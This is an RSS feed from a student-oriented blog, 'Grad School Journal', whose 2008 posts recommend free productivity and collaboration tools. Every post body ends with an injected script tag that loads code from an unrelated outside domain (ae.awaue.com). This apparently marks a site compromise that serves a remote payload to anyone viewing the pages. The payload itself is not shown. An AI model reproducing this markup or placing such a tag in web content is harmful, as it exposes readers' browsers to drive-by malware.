<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Grad School Journal &#187; Free Resources</title>
	<atom:link href="http://gradschooljournal.com/category/free-resources/feed/" rel="self" type="application/rss+xml" />
	<link>http://gradschooljournal.com</link>
	<description>Graduate Schools,Grad School Search, and Master Degree Programs</description>
	<lastBuildDate>Tue, 27 Apr 2010 13:30:29 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Graduate School Time Savers</title>
		<link>http://gradschooljournal.com/graduate-school-time-savers/</link>
		<comments>http://gradschooljournal.com/graduate-school-time-savers/#comments</comments>
		<pubDate>Tue, 14 Oct 2008 21:14:07 +0000</pubDate>
		<dc:creator>dkrug</dc:creator>
				<category><![CDATA[Free Resources]]></category>

		<guid isPermaLink="false">http://gradschooljournal.com/graduate-school-time-savers/</guid>
		<description><![CDATA[If you are looking to save time in graduate school you had better get organized. i have found online tools to be amazing to get me organized. Offline organization is important as well. We will save that for another day and time. Online organization can be accomplished with some really cool tools. 
Remember The Milk
Google [...]]]></description>
			<content:encoded><![CDATA[<p>If you are looking to save time in graduate school you had better get organized. i have found online tools to be amazing to get me organized. Offline organization is important as well. We will save that for another day and time. Online organization can be accomplished with some really cool tools. </p>
<p><a href="http://rememberthemilk.com">Remember The Milk</a><br />
<a href="http://docs.google.com">Google Documents</a><br />
<a href="http://google.com/news">Google Alerts</a><br />
<a href="http://mint.com">Mint.com</a></p>
<p>I utilized Remember the Milk to keep organized on a day to day basis making to do lists to accomplish goals and what not. </p>
<p>Google Documents allows me to keep data organized that I need for class, and other personal projects. I can share them and collaborate as well. </p>
<p>Google Alerts keeps me updated on news that I normally wouldn´t take the time to search for. </p>
<p>Mint.com helps me organized my finances in a way that is responsible and effective. <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://gradschooljournal.com/graduate-school-time-savers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Great New Website For Students</title>
		<link>http://gradschooljournal.com/great-new-website-for-students/</link>
		<comments>http://gradschooljournal.com/great-new-website-for-students/#comments</comments>
		<pubDate>Wed, 17 Sep 2008 21:35:00 +0000</pubDate>
		<dc:creator>dkrug</dc:creator>
				<category><![CDATA[Free Resources]]></category>

		<guid isPermaLink="false">http://gradschooljournal.com/great-new-website-for-students/</guid>
		<description><![CDATA[I stumbled on a great new website for students. It is called College Crunch. While not really aimed at Grad School students it appears this site is going to be a great resource for original content aimed at college students of all kinds. 
With great tips on degrees,lifestyle, and technology I really look forward this [...]]]></description>
			<content:encoded><![CDATA[<p>I stumbled on a great new website for students. It is called <a href="http://collegecrunch.org">College Crunch</a>. While not really aimed at Grad School students it appears this site is going to be a great resource for original content aimed at college students of all kinds. </p>
<p>With great tips on degrees,lifestyle, and technology I really look forward this to being one of those sites I visit on a daily basis. <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://gradschooljournal.com/great-new-website-for-students/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Should you go to grad school right after college?</title>
		<link>http://gradschooljournal.com/should-you-go-to-grad-school-right-after-college/</link>
		<comments>http://gradschooljournal.com/should-you-go-to-grad-school-right-after-college/#comments</comments>
		<pubDate>Tue, 02 Sep 2008 18:09:07 +0000</pubDate>
		<dc:creator>dkrug</dc:creator>
				<category><![CDATA[Free Resources]]></category>
		<category><![CDATA[Videos]]></category>

		<guid isPermaLink="false">http://gradschooljournal.com/should-you-go-to-grad-school-right-after-college/</guid>
		<description><![CDATA[
I really appreciated this video about attending grad school. Timing is important and alot of college students are burned out after 5 years of college. This is a great video on talking about getting some real world experience first. 
]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/CCCKRJ5eF5g&#038;hl=es&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/CCCKRJ5eF5g&#038;hl=es&#038;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>I really appreciated this video about attending grad school. Timing is important and alot of college students are burned out after 5 years of college. This is a great video on talking about getting some real world experience first. <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://gradschooljournal.com/should-you-go-to-grad-school-right-after-college/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Make a PDF Book</title>
		<link>http://gradschooljournal.com/make-a-pdf-book/</link>
		<comments>http://gradschooljournal.com/make-a-pdf-book/#comments</comments>
		<pubDate>Thu, 28 Feb 2008 17:27:42 +0000</pubDate>
		<dc:creator>Lindsay</dc:creator>
				<category><![CDATA[College Productivity]]></category>
		<category><![CDATA[Free Resources]]></category>

		<guid isPermaLink="false">http://gradschooljournal.com/make-a-pdf-book/</guid>
		<description><![CDATA[My professors often sent out large PDF readings for us to read/study for our courses. Enter BookletCreator. Not only does it help you organize your PDF into a booklet, it also saves paper! Just upload your file, and get it back in a book-like format. See some screenshots at MakeUseOf.

]]></description>
			<content:encoded><![CDATA[<p>My professors often sent out large PDF readings for us to read/study for our courses. Enter <a href="www.bookletcreator.com">BookletCreator</a>. Not only does it help you organize your PDF into a booklet, it also saves paper! Just upload your file, and get it back in a book-like format. See some screenshots at <a href="http://www.makeuseof.com/dir/bookletcreator-create-printable-booklet-pdf/">MakeUseOf</a>.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://gradschooljournal.com/make-a-pdf-book/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Help Schedule Meetings/Get Togethers</title>
		<link>http://gradschooljournal.com/help-schedule-meetingsget-togethers/</link>
		<comments>http://gradschooljournal.com/help-schedule-meetingsget-togethers/#comments</comments>
		<pubDate>Wed, 27 Feb 2008 20:11:40 +0000</pubDate>
		<dc:creator>Lindsay</dc:creator>
				<category><![CDATA[College Productivity]]></category>
		<category><![CDATA[Free Resources]]></category>

		<guid isPermaLink="false">http://gradschooljournal.com/help-schedule-meetingsget-togethers/</guid>
		<description><![CDATA[ 
Like I&#8217;ve said before, scheduling those group projects can be a pain in the butt. Timebridge takes some of the guess work out of this by letting people suggest times to meet up according to your schedule. I would probably use this app, but not put my entire REAL schedule&#8230;just the school related one. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://gradschooljournal.com/wp-content/uploads/2008/02/timebridge-availability-page-540x283.jpg"><img style="border-right: 0px; border-top: 0px; margin: 0px 5px 0px 0px; border-left: 0px; border-bottom: 0px" height="196" alt="TimeBridge_-_Availability_page_540x283" src="http://gradschooljournal.com/wp-content/uploads/2008/02/timebridge-availability-page-540x283-thumb.jpg" width="356" align="left" border="0" /></a> </p>
<p>Like I&#8217;ve said before, scheduling those group projects can be a pain in the butt. Timebridge takes some of the guess work out of this by letting people suggest times to meet up according to your schedule. I would probably use this app, but not put my entire REAL schedule&#8230;just the school related one. My group mates don&#8217;t need to know where I am 24/7, but it does make it easy to see who has what class when and such. Visit Timebridge <a href="http://www.timebridge.com/home.php">here</a>.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://gradschooljournal.com/help-schedule-meetingsget-togethers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Embed Your Documents Online</title>
		<link>http://gradschooljournal.com/embed-your-documents-online/</link>
		<comments>http://gradschooljournal.com/embed-your-documents-online/#comments</comments>
		<pubDate>Wed, 27 Feb 2008 17:55:50 +0000</pubDate>
		<dc:creator>Lindsay</dc:creator>
				<category><![CDATA[College Productivity]]></category>
		<category><![CDATA[Free Resources]]></category>

		<guid isPermaLink="false">http://gradschooljournal.com/embed-your-documents-online/</guid>
		<description><![CDATA[Scribd is a website that allows you to upload and post documents on the internet, and allows them to be viewed in their viewer iPaper.
One of the bonuses of Scribd is that it offers unlimited storage and supports all major document formats (pdfs, docs, excel, etc). The documents can be embedded in any website, and [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.scribd.com/">Scribd</a> is a website that allows you to upload and post documents on the internet, and allows them to be viewed in their viewer iPaper.</p>
<p>One of the bonuses of <a href="http://www.scribd.com/">Scribd</a> is that it offers unlimited storage and supports all major document formats (pdfs, docs, excel, etc). The documents can be embedded in any website, and can also be shown to other <a href="http://www.scribd.com/">Scribd</a> users so you can receive feedback.</p>
<p>Check it out <a href="http://www.scribd.com/">here</a>.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://gradschooljournal.com/embed-your-documents-online/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Create a Presentation Without Powerpoint</title>
		<link>http://gradschooljournal.com/create-a-presentation-without-powerpoint/</link>
		<comments>http://gradschooljournal.com/create-a-presentation-without-powerpoint/#comments</comments>
		<pubDate>Tue, 26 Feb 2008 09:33:34 +0000</pubDate>
		<dc:creator>Lindsay</dc:creator>
				<category><![CDATA[College Productivity]]></category>
		<category><![CDATA[Free Resources]]></category>

		<guid isPermaLink="false">http://gradschooljournal.com/create-a-presentation-without-powerpoint/</guid>
		<description><![CDATA[
Website Empressr allows you to create a presentation on the web that can be embedded in your blog, webpage, or anywhere else you want it to be really. Right now Empressr is in its beta form, registration and the hosting of your presentation is currently free. This is a good alternative to paying for Powerpoint, [...]]]></description>
			<content:encoded><![CDATA[<p><embed name="index" pluginspage="http://www.macromedia.com/go/getflashplayer" src="http://www.empressr.com/viewer2.swf?token=3zHK8ZwALLA%3d" width="470" height="346" type="application/x-shockwave-flash" scale="showall" flashvars="allowScriptAccess=always" /></p>
<p>Website <a href="http://www.empressr.com/">Empressr</a> allows you to create a presentation on the web that can be embedded in your blog, webpage, or anywhere else you want it to be really. Right now <a href="http://www.empressr.com/">Empressr</a> is in its beta form, registration and the hosting of your presentation is currently free. This is a good alternative to paying for Powerpoint, and since it is loaded on the web, you&#8217;ll never have one of those embarrassing &#8220;Why won&#8217;t my presentation load on the classroom computer?&#8221; moments. Learn a little bit more about <a href="http://www.empressr.com/">Empressr</a> above. </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://gradschooljournal.com/create-a-presentation-without-powerpoint/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>8aweek Helps You Stay On Track</title>
		<link>http://gradschooljournal.com/8aweek-helps-you-stay-on-track/</link>
		<comments>http://gradschooljournal.com/8aweek-helps-you-stay-on-track/#comments</comments>
		<pubDate>Mon, 25 Feb 2008 19:41:01 +0000</pubDate>
		<dc:creator>Lindsay</dc:creator>
				<category><![CDATA[College Productivity]]></category>
		<category><![CDATA[Free Resources]]></category>
		<category><![CDATA[Study Tips]]></category>

		<guid isPermaLink="false">http://gradschooljournal.com/8aweek-helps-you-stay-on-track/</guid>
		<description><![CDATA[Downloadable Firefox toolbar 8aweek tracks your wasted hours on the computer and tells you where you spent them. I always have trouble taking a &#34;few minutes&#34; to surf the net while I&#8217;m writing, and then a few minutes turn into an hour&#8230;you know the drill. Procrastination is not my friend! Once you figure what websites [...]]]></description>
			<content:encoded><![CDATA[<p>Downloadable Firefox toolbar <a href="http://8aweek.com/" target="_blank">8aweek</a> tracks your wasted hours on the computer and tells you where you spent them. I always have trouble taking a &quot;few minutes&quot; to surf the net while I&#8217;m writing, and then a few minutes turn into an hour&#8230;you know the drill. Procrastination is not my friend! Once you figure what websites you are wasting your time on, you can block them with the toolbar, and set a timer where you can only spend a set amount of time on that particular site. </p>
<p>Source: <a href="http://www.makeuseof.com/tag/cool-websites-and-tools-edition-121/" target="_blank">MakeUseOf</a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://gradschooljournal.com/8aweek-helps-you-stay-on-track/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Another Great Collaboration Tool</title>
		<link>http://gradschooljournal.com/another-great-collaboration-tool/</link>
		<comments>http://gradschooljournal.com/another-great-collaboration-tool/#comments</comments>
		<pubDate>Fri, 22 Feb 2008 20:33:17 +0000</pubDate>
		<dc:creator>Lindsay</dc:creator>
				<category><![CDATA[College Productivity]]></category>
		<category><![CDATA[Free Resources]]></category>

		<guid isPermaLink="false">http://gradschooljournal.com/another-great-collaboration-tool/</guid>
		<description><![CDATA[ 
I always hated group projects, mostly because it was so hard to get together with your group. And when there are five of you trying to edit a paper, crowding around the same computer, it just never works out. Co-ment is a solution to that problem. With Co-ment, you can upload your paper, track [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://gradschooljournal.com/wp-content/uploads/2008/02/co-ment2-icon1.png"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; margin: 0px 5px 0px 0px; border-right-width: 0px" height="120" alt="co-ment2-icon1" src="http://gradschooljournal.com/wp-content/uploads/2008/02/co-ment2-icon1-thumb.png" width="120" align="left" border="0" /></a> </p>
<p>I always hated group projects, mostly because it was so hard to get together with your group. And when there are five of you trying to edit a paper, crowding around the same computer, it just never works out. <a href="http://www.co-ment.net/">Co-ment</a> is a solution to that problem. With <a href="http://www.co-ment.net/">Co-ment</a>, you can upload your paper, track changes between authors, and each make the changes you deem necessary. </p>
<p>Source: <a href="http://www.makeuseof.com/dir/coment/">Make Use Of</a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://gradschooljournal.com/another-great-collaboration-tool/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft Offers Free Developer Tools to Students</title>
		<link>http://gradschooljournal.com/microsoft-offers-free-developer-tools-to-students/</link>
		<comments>http://gradschooljournal.com/microsoft-offers-free-developer-tools-to-students/#comments</comments>
		<pubDate>Wed, 20 Feb 2008 14:47:59 +0000</pubDate>
		<dc:creator>Lindsay</dc:creator>
				<category><![CDATA[Free Resources]]></category>

		<guid isPermaLink="false">http://gradschooljournal.com/microsoft-offers-free-developer-tools-to-students/</guid>
		<description><![CDATA[Microsoft recently released a number of developer tools in their new program, DreamSpark. Products include Expression Studio, XNA Game Studio 2.0, Visual Studio 2008, and Windows Server 2003. I think it&#8217;s great that Microsoft is trying encourage students to get ahead in their studies and careers by offering these products for free. In order to [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.microsoft.com/en/us/default.aspx">Microsoft</a> recently released a number of developer tools in their new program, <a href="https://downloads.channel8.msdn.com/Products.aspx">DreamSpark</a>. Products include <a href="https://downloads.channel8.msdn.com/Products/Expression_Studio.aspx">Expression Studio</a>, <a href="https://downloads.channel8.msdn.com/Products/XNA_Game_Studio.aspx">XNA Game Studio 2.0</a>, <a href="https://downloads.channel8.msdn.com/Products/Visual_Studio_2008.aspx">Visual Studio 2008</a>, and <a href="https://downloads.channel8.msdn.com/Products/Windows_Server_2003.aspx">Windows Server 2003</a>. I think it&#8217;s great that <a href="http://www.microsoft.com/en/us/default.aspx">Microsoft</a> is trying encourage students to get ahead in their studies and careers by offering these products for free. In order to qualify, you must verify that you are a student once a year through the <a href="https://downloads.channel8.msdn.com/Products.aspx">DreamSpark</a> website.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://gradschooljournal.com/microsoft-offers-free-developer-tools-to-students/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
